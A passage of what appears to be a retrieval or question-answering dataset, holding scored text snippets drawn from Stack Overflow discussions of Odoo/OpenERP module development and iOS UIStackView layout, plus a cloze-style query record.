advance", "Source Files : Source http : exoze.com testing module.tar.gz", "In my openerp .py I had this code : .. . .. . Now I want to add a new file containing my XML : .. . .. . trips.xml looks like this : .. . .. . I restarted the server and also updated my main package but the new XML is not loaded into the application .", "Open Warehouse - Configuration - Warehouses http : prntscr.com axcu2e .. . 2 .", "Click on the record in the tree view to open the form view .. . 3 .", "So basically create another many-to-many field called approved parts in the mrp.bom.line model that gets its source data from wherever it is storing the result-of the potential alternative products .", "error msg after added invisible attr http : i.stack.imgur.com BkHBv.png Added image here depending upon group bellow notepad tree view fields can be change http : i.stack.imgur.com gyNy3.png Hi friends I am beginner to ODOO or OpenERP I have scenario in that based on selection field notepad tree view can be changed so I have given my code sample- should I add invisible then where should I add", "This will open the wizard and you can assign the behaviour you want to the buttons manually .", "It about Donwload link Open ir.attachment form .", "View metadata and Set Defaults could be helpful here - For using Set Defaults for your problem here you need to open an old order with the right warehouse already set or a new one where you have to set the warehouse and then open Set Defaults to use it as default warehouse .", "I am new to Odoo 9 and openerp in general and I am trying to follow the website builder tutorial here https : www.odoo.com documentation 9.0 howtos website.html but I still can t figure out why my controller is not working : I get the 404 Page not found error everytime I go to the indicated route even though I followed the exact same steps .", "I have created so many custom module in ODOO 8.0 adones and I want to create the ODOO Setup file for that for Window installation then Which kind of steps I want to follow or does it need to require for separate software that make my Window setup file .", "I used the source installation and documentation guide line referred below : .. . .. . Jasper report for Odoo 8.0 - By SerpentCS http : www.serpentcs.com serpentcs-jasper-report-openerpodoo .. . .. .", "im facing a problem in qweb report i followed this tutorial http : blog.emiprotechnologies.com create-qweb-report-odoo to create qweb report it worked fine with the static data of my current module but when i try to create a parser class for dynamic data i get this error QWebException : NoneType object is not callable while evaluating here it s my python class : .. . .. . And in my xml file etudiant report.xml I added this line : .. . .. . But when I print the report I get the error : .. . .. . Here it s the arborescence of my module : .. . .. . report init .py --- to load the etudiant report.xml which contains the parser class .. . .. . report etudiant report.py --- ...contains the parser class .. . .. . views report etudiant.xml --- the xml file for the report .. . .. . init .py .. . .. . openerp .py .. . .. . etudiant view.xml .. . .. . etudiant report.xml --- the menu of the report .. . .. . etudiant.py .. . .. . Another thing I noticed when I go into the folder report I don t find any .pyc file for init .py and etudiant report.py", "I have created a module in Odoo 8 following a tutorial .", "When I open the module I cant see the target data goal data achieved data etc .", "I can t do anything else to fix this without editing Odoo s source code .", "We can track from the Source Document .. . .. . In report.py we need to make a function and pass origin in it .", "When I display the tasks in calendar view and click on one of them instead of opening a form view for the task model I d like to open the form view of parent intervention .", "Tree form with missing buttons http : i.stack.imgur.com 0l2F1.gif .. . .. . The module I m trying to make is an extended module of the human resource module like the included HR attendance module .", "Here is the result-of the execution : .. . .. . As the result the records which are only supposed to be A B C D E F G doubled into A B C D E F G A B C D E F G .", "The first Record line works but i need such that for each record on the tree the code below will be able to pass the contexts and open the appropriate view .", "is there a way to write code for index page from scratch in Odoo 8", "Andrei Boyanov s alternative implementation of the method fixes some of my problems .", "I m using Odoo 8 and I have a problem with compute field with type is Many2One .", "By mirror function I mean an other function field what is a copy from the original field .", "Unfortunately this particular method opens a wizard : it just prepares some data and then returns an action to the webclient to open the wizard dialog and the actual operation will only be performed there with its Send button .", "Hi Thx the problem is that this form is creating a new account periodical.invoicing object and in reality I just want to open this form having the name and partner id of the form I m editing you see", "i work currently on a custom report on odoo-8 self hosted and created a report structure based on this tutorial : http : odoo.guide report-design-workshop .. . .. . generally the template is created well but when I start zu use e.g .", "Other things that might be wrong : .. . .. . Your outgoing email might not be working properly .", "In other words the general users will not able to see Approve button .", "See Andrei s answer for an alternative way to assign many2many values that won t trigger this problem .. . 2 .", "I want to set one value for a group and other value for other group .", "View the url http : localhost : 8069 web debug id 2 view type form model stock.warehouse menu id 269 action 313 .. . .. . In the url the id is the id of this record model stock.warehouse .. . .. . You can also use pg-admin or terminal psql in this case just connect to your database and open the table stock warehouse .. . .. . Hope this may help you .", "t t-raw translate doc doc id doc model partner id.lang account.report invoice document One thing i figured out is that when i get to Technical Actions Reports and search for my new another report and click on related QWeb Views i only see my file with the bootstrap structure but not my file with the tranlate doc Here is a image showing my odoo-8 .", "I m using Odoo 8 version .", "i have a project to make integration between odoo-8 and another system my scope was insert all the customers codes from the other system into odoo database witch i already done without any problems but when i try to insert customer invoices into odoo i face a problem i had already insert all the invoices in 2 tables : 1 .", "can i add you to chat i have a method that browses the model and but when it updates the record the other data disappears .", "So I have a the following .. . .. . In the product.template model I have a many-to-many field called potential alternative products which basically let s me do this .. . .. . Part A has potential alternatives of part a1 part a2 part a3 .. . .. . I want to create a field that selects from that list on the bom line .", "I mean imagine you are on a form in backend with a button you load this other form in website however my point is that the backend form has name and partner id fields as mandatory but I don t want to add a new backend form I just want to open the website one having the name and the partner id from where I m launching the website form .", "If there is any other opinion please share .", "This is my controller method that is handling the web url : .. . .. . the page source generated when the page loads is the following : .. . .. . When the page loads it will display all my widgets successfully but it will display at the bottom of the page Loading.. . .. . .. . why this loading is displayed and how to remove it .", "Navigate to your Odoo addons directory and download this Odoo 8 module https : apps.openerp.com apps modules 8.0 procurement sale forecast .", "I want to generate my own excel report using Excel report engine in odoo-8 .", "I am trying to inherit account.analytic.default in odoo-8 by below code .. . .. . But it is giving me below error", "In Odoo 8 the new ORM API is much nicer that the previous one with all these boring cr uid ids . . parameters .", "Kindly give me an example as i dont know how to do this and i want it to be dynamic such that on change of above it changes the other field within the many2many", "I created a Pull Request to odoo version 8 .. . .. . https : github.com odoo odoo issues 2693 .. . .. . with the changes mentioned in the issues and here", "I have given you an answer of that issue if you want proper effect then you must define relation in proper manner if you want to take many2many then there must be many2many inverse relation in other table .", "So you problem is completely elsewhere : I ll answer the other question .", "I can t even use temporary field to store sync.test.subject.a ids because any changes that are not related to separated chars won t be committed by the system from inside the compute function By any changes I mean really ANY changes either to other fields from the same model or other changes to other models won t be committed .", "hello user belong to Sales create all leads and can t create sale order for other Salesperson .. . .. . .. . .. . admin user can create sale orders of other salesperson", "Emipro Technologies Can you please suggest me anything on this question - stackoverflow.com questions 37760674 http : stackoverflow.com questions 37760674 how-to-write-write-function-without-effecting-inherited-class-in-odoo-8 37771272 37771272", "The system restricts any changes to any other field or model except the field that related to the compute method from the compute method .", "The system updates the computed field everytime there are changes to any other field even those fields that aren t related to the computed fields .", "And because of that they restrict any update to any other field from inside the compute function .", "That s because the Many2many records exist and have their one life independently each of the other .", "Ok I am answering the question .. . .. . There was a custom module which I was not aware of other than my custom module and that was installed .", "many2one widget default .. . .. . Options : Other possible options you can use with this widget .", "You can iterate over it - it s among other things also a collection of odoo objects .", "As with date there are several convenient class methods to make creating datetime instances from other common values .", "You seem like an odoo expert can you answer my other question please", "Sure after this compliment : Please check the other question to see if I answered it well .", "I want to make field readony based on group and status .", "Like i have two grops 1 .", "Manager Group 2 .", "User Group .. . .. . If I give User Group to any user then and Status Done then field will be readonly for this user .", "Hope I able to make it clear to understand .. . .. . Thank", "can anybody help me", "Create a functional field of type boolean .", "If the logged in user is under user group and state is done then return true ." ] }
{ "confidence": [ 63.92277908325195, 62.79815673828125, 61.14470291137695, 58.9586067199707, 57.47511291503906, 53.89490509033203, 52.601016998291016, 51.17953872680664, 48.37942123413086, 45.96354675292969, 44.70646667480469, 44.586509704589844, 44.55485534667969, 44.55485534667969, 43.77278137207031, 41.434242248535156, 41.062103271484375, 40.96185302734375, 40.910491943359375, 40.910491943359375 ], "content": [ "Question : I have a dump file of database backup openerp-7 . Now i want to continue my work in odoo the database is in openerp-7 format so i am not able to restore it in odoo . How to convert this database to odoo version so that i can start working on it . .. . Answer : You must do a data-migration . That s not an easy task . You can use some of this migration tools : .. . .. . OpenUpgrade https : doc.therp.nl openupgrade . Or you can use some ETL tool such as Odoo ETL https : www.odoo.com apps modules 8.0 etl .. . .. . If you only want migrate some table you can export it in a CSV file and import it in Odoo choosing the right columns . Comment : How to use that ETL tool I have openerp-7 database which i want to convert to version 8.When i enter my source database name it says no such database exists . Comment : Search in Youtube Odoo ETL . I m sure you can find some tutorials like that", "Question : I want to make field readony based on group and status . Like i have two grops 1 . Manager Group 2 . User Group .. . .. . If I give User Group to any user then and Status Done then field will be readonly for this user . Hope I able to make it clear to understand .. . .. . Thank Comment : can anybody help me .. . Answer : This kind of feature not supported in openerp . Why you not go for tryton it is fork of openerp . If you want to do this you can use one tric make two form view of same object show one to manager user and another to user group user and make field readonly .. . .. . Thanks Comment : why move to tryton Comment : is tryton better than openerp in which situation Comment : Ya tryton is much better framework .", "Question : null .. . Answer : I am developing a new openerp web module from scratch . I am trying to use the same concept used in the Point Of Sale web module that comes with OpenERP . This is my controller method that is handling the web url : .. . .. . the page source generated when the page loads is the following : .. . .. . When the page loads it will display all my widgets successfully but it will display at the bottom of the page Loading.. . .. . .. . why this loading is displayed and how to remove it . Appreciate your response", "Question : I have created so many custom module in ODOO 8.0 adones and I want to create the ODOO Setup file for that for Window installation then Which kind of steps I want to follow or does it need to require for separate software that make my Window setup file . .. . Answer : This document may helpful for you for create window .exe file for OpenERP V6 .. . .. . please refere the below link : .. . .. . https : doc.odoo.com 6.0 developer 8 24 build Comment : Thanks for your answer :", "Question : null .. . Answer : I am new to openerp i can see some css class definitions like the following : .. . .. . .openerp .oe form .oe styling v8 b .. . .. . Can you please explain to me what does it mean I can see to much css classes starting with .openerp .oe how we define two css classes on the same line this is not allowed in css .. . .. . Thanks in advance Comment : They re not defining multiple styles they use what s called a descendant selector . Comment : Thanks a lot i got the idea . I searched for css descendent selectors and now its clear . The problem for me was with css not openerp", "Question : I am create controller in OpenERP Framework . Following is my code and i set http.route type http .. . .. . Above code work perfect once i login into openerp after i modify URL http : localhost : 8069 demo html show me return result This is a test in h1 heading tag . But same way i try to type json and add following json code and again try to call URL http : localhost : 8069 demo json Its not work properly and show me error Internal Server Error . So my question is how to route json . Any help would be appreciate Thank you . .. . Answer : This is because there is difference between type json and type http . Comment : you check I m return JSON data return sample dictionary : This is a sample JSON dictionary", "Question : null .. . Answer : I am writing a customize Lab Test module in OpenERP V7 . The rough idea was described in OpenERP 7 - Create auto log message in Log a Note field as history log record http : stackoverflow.com questions 37935843 openerp-7-create-auto-log-message-in-log-a-note-field-as-history-log-record 37969084 37969084 . How could i achieve the step 2 where any changes in any field of the one2many list fields will trigger a function to clear the text in my Reason For Change ROC field which is the parent field Follow would be my example : .. . .. . The relavant functions in py would be : .. . .. . My write object function here : .. . .. . My XML here : .. . .. . Through this i can trigger the write object function in fnct trigger onchange when selecting new product in one2many list to clear my clear text content in ROC field . However this is not yet what i want the problem of my current code is the text in ROC field was cleared at background but not present reflected in user view . The user still saw the old text even it actually was cleared . I wish to achieve what as on change method done where once user select product the ROC field will immediately empty . How can i do that Can anyone help me on this Thanks", "Question : hello user belong to Sales create all leads and can t create sale order for other Salesperson .. . .. . .. . .. . admin user can create sale orders of other salesperson .. . Answer : I upgraded the database using the option .. . .. . openerp-server.py -d db --init sale", "Question : hello user belong to Sales create all leads and can t create sale order for other Salesperson .. . .. . .. . .. . admin user can create sale orders of other salesperson .. . Answer : There is ir.rule object for this . You should delete it or change . I don t have OpenERP code now but I hope you will know which ir.rule you should change . It has model sale.order and group Sales create all leads . Propably there is similiar ir.rule for sale.order.line . Comment : thanks brother for answering the ir.rule was fine : s", "Question : I am create controller in OpenERP Framework . Following is my code and i set http.route type http .. . .. . Above code work perfect once i login into openerp after i modify URL http : localhost : 8069 demo html show me return result This is a test in h1 heading tag . But same way i try to type json and add following json code and again try to call URL http : localhost : 8069 demo json Its not work properly and show me error Internal Server Error . So my question is how to route json . Any help would be appreciate Thank you . .. . Answer : I think you need to do some extra stuff while working with type json you have to trigger that method using json-rpc from js . and yes do not forget to return your dictionary in list like Comment : Thank you for giving me answer . jquery code call on demo json page head tag inside i add . another things i as per my knowledge JSON return dictonary format to display on page Comment : Yes you are right JSON retunr dictonary but it also return list of dictionary you can check jsonlint.com http : jsonlint.com and type something like and validate . Comment : yes yes that type list are display on webpage .", "Question : I am using OpenERP 7 . I having a question that how to restrict my custom button such as Approve button to be available for management group users to view and click only For example : Let s say i have three state in a form workflow which are New- Confirm- Approved .. . .. . The general user can view and click Confirm to enter the state from New to Confirm . However in the state Confirm the button Approve will only available by management group user . In other words the general users will not able to see Approve button . After management group user click Approve button the state will become Aprroved . Question : .. . .. . How can i make the Approve button only available for management users Thanks .. . Answer : Use groups attribute to specify which group has access to the button .", "Question : I want to make field readony based on group and status . Like i have two grops 1 . Manager Group 2 . User Group .. . .. . If I give User Group to any user then and Status Done then field will be readonly for this user . Hope I able to make it clear to understand .. . .. . Thank Comment : can anybody help me .. . Answer : you can apply access rule on field level in OpenERP like in py .. . .. . And for status in xml : Comment : hi heroic you code work at when state done it make readonly form wheather user belongs or not to group . I want group and state both condition to mathc Comment : Try this : field name name attrs readonly : groups id.category id.name User Group state done Comment : not workig dear :", "Question : How can I hide the Form View Based on User Access .. . .. . I have created one user student in school Management System in openerp . The Admin user is the default user in OpenErp . Admin have all the access rights to acees the Tree view and Form View while How can I restrict the the student user to view only tree view . My Question is how can i hide the Form View When the student user is logged into the system.I wanted to display only the the tree view when he or she is logged into the system while admin can display both the view like form and tree . Comment : You can create security in .csv file throw user and group wise different permission . Comment : @JainikPatel this is not the right way to do so it is not solve my problem .. . Answer : Okay for that you have to assign a groups . First of all please create a group from Setting- Users- Groups .. . Then on creating group click on access write where you have to add your object and give whatever access write you have to give .. . Then add users to a particular group . enter image description here http : i.stack.imgur.com EYA5W.png enter image description here http : i.stack.imgur.com fzEAy.png Comment : I had already created on group and also add the two different user in to the group like admin and student normal user also add the access rights for that object like exam.master object name but problem doesn t solve it Comment : As I have stated above I have tried using project task and my side it working properly . Try adding only student user.May be it could not happens because of admin or I am just guessing . Comment : Sorry by adding admin also its working on my side . Are you tried by logging as student . Because its working here . Comment : how to do this for the student user. . Comment : Just create new user student then add student to the group and then logged in as a student . It will definitely work . For just example you can even try on demo user .", "Question : I am now creating a customize module for a lab test purpose in OpenERP 7 . The users will require to enter their lab test components and result here . Now i having a field which called Reason For Changes . I would like to know the method how i can log the input of this content as a log a note message to display at the bottom through mail.thread The step would be : .. . .. . 1 . Reason For Changes ROC as a required field .. . .. . 2 . Any changes in my others fields will calling my onchange method to clearing the content of ROC field . 3 . If the user changed something without enter a text to the ROC field then click save a error message Please Enter Reason For Change will pop-up . This will disable the user from saving this . 4 . If the user changed something and enter a text to ROC field then save the ROC field content will create as a message at the bottom such as log a note as a reference and history log record . My question would be how could i achieve the step 3 and 4 Deeply appreciate for your help .. . Answer : There are two possiblities but the used model has to inherit email.thread But i guess it is inheriting because you wrote something about the chatter messages . : .. . .. . 1 . Use Odoo s former OpenERP automatic tracking system . You just have to add the Parameter track visibility on your field definition like new then old API .. . 2 . Post a message on write by yourself . email.thread is coming with some simple yet useful methods . One of them is message post . Override the write of the model like the following new old API : Comment : Thanks you so much . Currently i facing the error : res super test.lab self .write vals TypeError : must be type not str Any idea what is the issue and how to solve it Comment : The first parameter of super has to be a the class name in this example . For further information look here https : docs.python.org 2 library functions.html super Comment : Thanks @CZoellner . It is working now You are very helpful", "Question : I have a module already installed inside my project with a couple of new tables . Now I want to add XML associated with these tables to create menu items . In my openerp .py I had this code : .. . .. . Now I want to add a new file containing my XML : .. . .. . trips.xml looks like this : .. . .. . I restarted the server and also updated my main package but the new XML is not loaded into the application . Also there are no errors inside my logs . Of course if I uninstall - reinstall it my XML is loaded and my menu items are added but I lose precious data . Comment : Do you always have that problem A typical mistake while developing within an IDE : not saving needed files before server restart . Maybe you ve forgotten to save the manifest openerp .py Another problem could be the browser . Just try to reload Odoo with empty cache after updates Comment : just a wild guess....file permissions Comment : @CZoellner openerp.py has been saved properly . Also it is not a cache problem because my menu item is not created inside Odoo . Settings - User interface - Menu items Comment : @danidee Didn t solve my issue : Comment : are you sure you don t have more than one copy of your module in a different addon path i ve experienced something like this and it turned out that i was editing another copy of the module i had in another folder . it was in my addons path but sequentially it came after the folder i thought i was working with ...again this is another wild guess .. . Answer : If you are brave use pgAdmin III to delete the view form ir ui view table . Make sure that you also delete data from all the related tables such as ir ui view . Sometimes OpenERP does not realise that there is an update in the xml . By deleting the correct data in ir ui view you ensure that the view must be recreated while the original data that you wish to keep is still stored in the database . Just beware if things go wrong it can go horribly wrong if you do not know what you are doing . The better method would be to use the OpenERP interface . Go to the menu Settings -- Technical -- User interface -- Views . Search through the views and delete the views of your module . Now update upgrade the module again . Comment : I do not have views for this module . I just want menu items the default form view is correct for my case . Comment : Can you show what you did in main.xml Comment : gist.github.com anonymous c1931b2cbcd441459ba9f84133f3b1dd https : gist.github.com anonymous c1931b2cbcd441459ba9f84133f3b1dd There you go Comment : Ok - I see you solved it - no need for me to look further . I am surprised at the answer - did not expect something that seems now very obvious . I did though sometimes found errors in the way that the xml is processed . Sometimes there is corruption in the database and the only way I could resolved it was by deleting the xml from the database and then upgrade the module .", "Question : I have these two fields . This function : .. . .. . And these view fields : .. . .. . Now when I change name both name and addresses are updated . But when I change addresses its own value isn t updated but the name is updated . So this bizarre behavior affects only one2many fields . Why is this And how do I add-on change event to one2many fields that can update its own value EDIT : I found out that this is might be a limitation in odoo have they fixed this issue Link to the issue https : github.com odoo odoo issues 2693 Comment : That limitation is with the @api.onchange decorator in Odoo v8 . What version are you using I don t know if OpenERP 7 has the same limitation . I think you can use a link-to update all the table like in the sale order lines in the quotations Comment : I use Odoo v8 and I ve tried both @api.onchange and on change attribute method . Both don t work . Yea I m thinking of that too but that would be a hassle for the user . I want it to execute automatically any workaround Comment : I ve been following the issue for months I don t think there is an easy solution Comment : I don t understand this is so simple they could ve just treated the one2many field on change function as though it is called from another field AFTER they do whatever they wanna do on the client-side . After all we expect the on change to be executed AFTER everything else is done right This is probably the easiest issue they could fix . Comment : It seems that somebody created a pull request with the changes https : github.com odoo odoo issues 2693 issuecomment-142571564 .. . Answer : Apply the following patch on the lastest version of models.py the version commited on Tue Aug 4 15 : 22 : 33 2015 +0200 : .. . .. . In other words just comment the lines 5900 to 5902 of the openerp models.py file . Of course there is a big disadvantage with this solution - you need to apply the patch every time the models.py file is updated in the Odoo distribution you use . There is a considerable risk too - they say that the Web client is not dealing well with one2many and many2many fields updated in onchange event . I did not discover any problem with that right now but I ll continue to test my development installation of Odoo.. . Comment : Amazing how did you find the code This will do for now . Thank you Comment : You seem like an odoo expert can you answer my other question please stackoverflow.com questions 32434541 http : stackoverflow.com questions 32434541 how-do-i-properly-create-write-or-unlink-records-for-many2many-field-using-the Comment : Sure after this compliment : Please check the other question to see if I answered it well .", "Question : null .. . Answer : I am new to Odoo 9 and openerp in general and I am trying to follow the website builder tutorial here https : www.odoo.com documentation 9.0 howtos website.html but I still can t figure out why my controller is not working : I get the 404 Page not found error everytime I go to the indicated route even though I followed the exact same steps . Can anybody help me out with that Thanks Comment : even though you followed the exact same steps can you post the code of your controller Comment : share some code you have tried Comment : @Hatim if you have more than one database than delete all other databases and try it will work .", "Question : null .. . Answer : I would like to construct an object objA which over the course of its existence takes on many different types of status objB . However each different type of status is its own beast which varies depending on its type type1 type2 type3 .. . . Apparently Odoo OpenERP does not support polymorphism so the introduction of the intermediary status objB is intended to cloak the different types of status with hopes that objA may have a One2Many field consisting of its status history . Now I am stuck with the notions of inheritance that Odoo documentation describes as Traditional vs Delegation and am unsure which is which . Furthermore if this type of manipulation is possible will it be possible that all attributes can be realized in objA s form-view My only guess is something like as follows Comment : I think there possibly is an example in odoo itself which is implementing your requirement . ir.ui.menu can take different types models of ir.actions which are inheriting ir.actions.actions . You can find the classes in base ir .", "Question : I have a module already installed inside my project with a couple of new tables . Now I want to add XML associated with these tables to create menu items . In my openerp .py I had this code : .. . .. . Now I want to add a new file containing my XML : .. . .. . trips.xml looks like this : .. . .. . I restarted the server and also updated my main package but the new XML is not loaded into the application . Also there are no errors inside my logs . Of course if I uninstall - reinstall it my XML is loaded and my menu items are added but I lose precious data . Comment : Do you always have that problem A typical mistake while developing within an IDE : not saving needed files before server restart . Maybe you ve forgotten to save the manifest openerp .py Another problem could be the browser . Just try to reload Odoo with empty cache after updates Comment : just a wild guess....file permissions Comment : @CZoellner openerp.py has been saved properly . Also it is not a cache problem because my menu item is not created inside Odoo . Settings - User interface - Menu items Comment : @danidee Didn t solve my issue : Comment : are you sure you don t have more than one copy of your module in a different addon path i ve experienced something like this and it turned out that i was editing another copy of the module i had in another folder . it was in my addons path but sequentially it came after the folder i thought i was working with ...again this is another wild guess .. . Answer : Won t work . we need to put an ID to the menuitem like this :", "Question : I have a module already installed inside my project with a couple of new tables . Now I want to add XML associated with these tables to create menu items . In my openerp .py I had this code : .. . .. . Now I want to add a new file containing my XML : .. . .. . trips.xml looks like this : .. . .. . I restarted the server and also updated my main package but the new XML is not loaded into the application . Also there are no errors inside my logs . Of course if I uninstall - reinstall it my XML is loaded and my menu items are added but I lose precious data . Comment : Do you always have that problem A typical mistake while developing within an IDE : not saving needed files before server restart . Maybe you ve forgotten to save the manifest openerp .py Another problem could be the browser . Just try to reload Odoo with empty cache after updates Comment : just a wild guess....file permissions Comment : @CZoellner openerp.py has been saved properly . Also it is not a cache problem because my menu item is not created inside Odoo . Settings - User interface - Menu items Comment : @danidee Didn t solve my issue : Comment : are you sure you don t have more than one copy of your module in a different addon path i ve experienced something like this and it turned out that i was editing another copy of the module i had in another folder . it was in my addons path but sequentially it came after the folder i thought i was working with ...again this is another wild guess .. . Answer : Create new database and reinstall your module if possible . Comment : I don t want to lose my data this is not viable . Sorry" ] }
[ "yes-answer-long", "yes-answer-short" ]
sap-erp
UNK_RELATION
uistackview@interface@61
uistackview -- the uistackview class provides a streamlined @placeholder for laying out a collection of views in either a column or a row .
{ "confidence": [ 92.83875274658203, 52.556922912597656, 47.535240173339844, 44.695533752441406, 43.62916564941406, 42.70692443847656, 42.28974914550781, 42.16581726074219, 41.3563346862793, 41.13190460205078, 40.674278259277344, 40.55332946777344, 40.55332946777344, 40.55332946777344, 40.55332946777344, 40.55332946777344, 40.55332946777344, 39.83378982543945, 39.48359680175781, 38.449684143066406, 38.2213020324707, 38.2213020324707, 38.2213020324707, 38.2213020324707, 38.2213020324707, 38.2213020324707, 37.167579650878906, 37.15156936645508, 37.15156936645508, 37.15156936645508, 36.752113342285156, 36.674930572509766, 36.674930572509766, 36.327396392822266, 36.327396392822266, 35.869468688964844, 35.68238067626953, 35.68238067626953, 35.25766372680664, 35.062442779541016, 35.062442779541016, 35.062442779541016, 35.062442779541016, 35.062442779541016, 35.062442779541016, 35.062442779541016, 35.062442779541016, 35.062442779541016, 35.062442779541016, 35.062442779541016, 35.062442779541016, 35.062442779541016, 35.05888748168945, 35.004005432128906, 34.24149703979492, 34.089603424072266, 33.99271011352539, 33.99271011352539, 33.99271011352539, 33.99271011352539, 33.99271011352539, 33.99271011352539, 33.99271011352539, 33.99271011352539, 33.99271011352539, 33.99271011352539, 33.99271011352539, 33.99271011352539, 32.71060562133789, 32.71060562133789, 32.419960021972656, 32.419960021972656, 32.32178497314453, 31.942584991455078, 31.062744140625, 30.99951934814453, 30.807472229003906, 30.807472229003906, 30.807472229003906, 30.807472229003906, 30.807472229003906, 30.807472229003906, 30.807472229003906, 30.807472229003906, 30.807472229003906, 30.807472229003906, 30.807472229003906, 30.807472229003906, 30.807472229003906, 30.807472229003906, 30.807472229003906, 30.807472229003906, 30.807472229003906, 30.807472229003906, 30.807472229003906, 30.807472229003906, 30.807472229003906, 30.807472229003906, 30.807472229003906 ], "content": [ "You can try by inserting two or more controls to a horizontal stack view how they align horizontally w.r.t each other . .. . .. . The UIStackView class provides a streamlined interface for laying out a collection of views in either a column or a row .", "The purpose of the UIStackView is to stack views .", "Or UIStackView", "I m trying to add views in UIStackView programmatically .", "Unfortunately when I put the UIView inside the UIStackView then it takes the height of the UIStackView .", "Then I figured UIStackView would be easier to lay out .", "Adjust your UIStackView", "I have a UIStackView with 5 subviews .", "UIStackView Class Reference https : developer.apple.com library ios documentation UIKit Reference UIStackView Class Reference apple ref occ instp UIStackView spacing .. . .. . Hope It helps", "UIStackView setting others UIStackView height 0 and setting ImageView size bigger and covering whole screen .", "Reordering of views in a UIStackView would solve one of my big issues currently .", "Use addArrangedSubview of UIStackView instead of addSubview .", "And a topAnchor for the uistackview boxstack subview of the dayBox .", "I put multiple UIView in UIStackView .", "Need to add constraints to your UIStackView", "Drag Drop UILabel into your UIStackView", "Then Drag Drop UIView into your UIStackView", "Why is the UIStackView not showing up at the top of screen", "This error has nothing to do with UIStackView .", "If I remove all UIStackView items except for the top item containing the UIScrollView + horizontal UIStackView scrolling is seamless when resizing .", "And you should add all the Buttons to the same UIStackView .", "Is there a way to solve it with just one UIStackView with 2 buttons", "I don t set any constraints into UIViews and UIStackview .", "In the image above I have the UISearchBar and the UIButton in the UIStackView .", "I am using a UIStackView in iOS 9 SDK .", "First you need to add UIStackView on the cell", "It consists of 12 UIButtons 3 each inside 4 UIStackView s which are themselves nested inside a parent UIStackView .", "I added my UITextView inside UIStackView .", "Then you ll need to change the height constraint of the UIStackView .", "It is this View that I want to place inside my UIStackView .", "In Interface Builder when you add a new object to a UIStackView from the object library add it to the parent UIView first before dragging it into the UIStackView .", "How can one programmatically reorder items within a UIStackView in IOS", "I would love it if Apple made Flexible Space Items available to UIStackView", "I m using UIStackView s in Interface Builder and I keep getting caution warnings because of Misplaced Views .", "UIStackView just manages the position and size of its arranged views the cornerRadius has no effect .", "I am trying to put a UIStackView inside a scrollView .", "@Fonix I know it would be easier using a UITableView but I m trying to get this working on a UIStackView for the sakes and pure joy of getting it to work on a UIStackView .", "The top item in this vertical UIStackView contains a horizontal paged UIScrollView on which is added a horizontal UIStackView containing a number of items of different heights .", "I am trying to implement scroll for UIStackView where there are two buttons to add and delete views horizontally .", "I am adding labels as subview to UIstackview using arrangedSubView property .", "I have tried to no avail to centre align the UIButtons in the UIStackView .", "hope you can find an easy way using equalWidthconstraints instead for UIStackView .", "I am new to iOS development and I am working with the UIStackView .", "Can you see the labels in UIStackView using above code", "The following code adds a UIStackView and adds several UILabels with gradients .", "I have set up vertical UIStackView with couple of UIView s and UIColectionView .", "How is it possible to add a arranged subview in a particular index in a UIStackView", "Also worth noting from the documentation : The UIStackView is a nonrendering subclass of UIView .", "Since I ve updated to XCode 7.3 I have a problem with UIStackView .", "UILabel in UIStackView so priorities doesn t matter as I think maybe there is the problem .", "UPDATE : Without the UIStackView I am getting breaking constraints : .. . .. .", "I removed the UIStackView and added constraints manually and now it works", "I have a vertical UIStackView containing a number of items each with their own collection of subviews .", "I have seen this question Animating UIStackView arrangedSubview content size change http : stackoverflow.com questions 35365691 animating-uistackview-arrangedsubview-content-size-change but the suggested answer does not work nothing animates .", "So add a property for the UIStackView to your class initialize it in viewDidLoad or in the storyboard and add the buttons to that stack view in addImageToScreen .", "As Dan said in the comments use addArrangedSubview to add a subview that will be automatically laid out by UIStackView .", "enter image description here http : i.stack.imgur.com c9EnH.png .. . .. . UIStackView .. . .. .", "The problem is that you have fixed the height of UIStackview by giving top and bottom constraints .", "How can I remove previously added labels from UIStackview", "I found a way to do this with UIStackView but it s work in progress .", "Im also open to solutions which doesn t use UIStackView as well .", "Subviews inside the UIStackView would come dynamic could be n numbers .", "When my UIStackView rows are squished they throw AutoLayout warnings .", "The internal UIStackView had two labels and a non-zero spacing specified .", "UIStackView Equal Spacing centered http : i.stack.imgur.com uXzT7.png", "UIStackView uses constraints internally to position its arranged subviews .", "The first group is the main interface of my app and includes an UIStackView .", "This is done in a function called loadViews in the UIStackView subclass which is called as needed .", "I believe the problem to be that you are creating your UIStackView incorrectly .", "But when running on iPhone wC hR I will not use UIStackView .", "Therefore I am guessing something in the UIStackView gives it a default margin that I want to get rid of .", "UIStackView has a spacing property constant you should use this to set the space you want between the stack subviews .", "Any change in the frame of the UIStackView change the contentSize of the UIScrollView .. . .. . Step 3 : add subviews .. . .. . Because we use Fill Distribution in the UIStackView all subviews must have a intrinsic content size or height and width constraints not preferred .", "Also how do I give the added views properties like minimum heights or content sizes without seeing many breaking constraints with UIStackView", "Check out my iOS 9.1 project https : github.com forgo StackViewSizeClassBug which clearly demonstrates this problem with 8 UIStackView elements in a vertical arrangement .", "Note : If a view is contained in a stack view and you try to modify the view frame it should not change .. . .. . For more details you can have a look at this great blog UIStackView Auto Layout and Core Animation https : www.invasivecode.com weblog uistackview-core-animation", "What i ve done is added @property strong nonatomic IBOutlet UIStackView photosView in the .h file .", "I ve got a ViewController that has a lot of labels that must be displayed horizontally so I ve decided to use UIStackView for this .", "I watched through this tutorial https : www.youtube.com watch v O0llR7sfrkc to learn about UIStackView but I m still having trouble .", "You need to constraint top bottom leading trailing of the UIView to the UIStackView and nothing more .", "I have a UIStackView element and i set hidden false to its elements inside UIView.animateWithDuration .", "I ve based my code here http : stackoverflow.com questions 36463021 programmatically-add-subviews-to-a-uistackview .", "I have seen several solutions to make UIStackView scroll with UIScrollView but they all rely Autolayout and IB .", "I have also generated a number of UIButton s and added to the arranged subviews of the UIStackView .", "So it appears that you are proposing a containing UIView and do the setup as you mentioned instead of using UIStackView .", "Maybe you can post more of your code like how you ve created your UIStackView .", "UIStackView in Interface Builder http : i.stack.imgur.com E9xgf.png .. . .. . The Stack View H has two UIViews in it and is constrained to fill the parent UIView .", "If you drag it from the object library directly into the UIStackView something goes wrong and that object will not be properly constrained .", "I have a UIStackView drawn above a view with the dark blue green gradient layer pictured below .", "I need your help in adding the leading space only to UIlabel which is placed in UIStackview .", "I tried setting constraints but due to UIStackview autolayout feature it is not allowing me to do .", "Actually I need UIStackView for auto adjusting the size of Cell when ImageView is getting hide in few feeds .", "The behavior of the axis at runtime simulator or device after closer inspection only changes for every other UIStackView in the view-hierarchy .", "Note however : if you remove a view from the 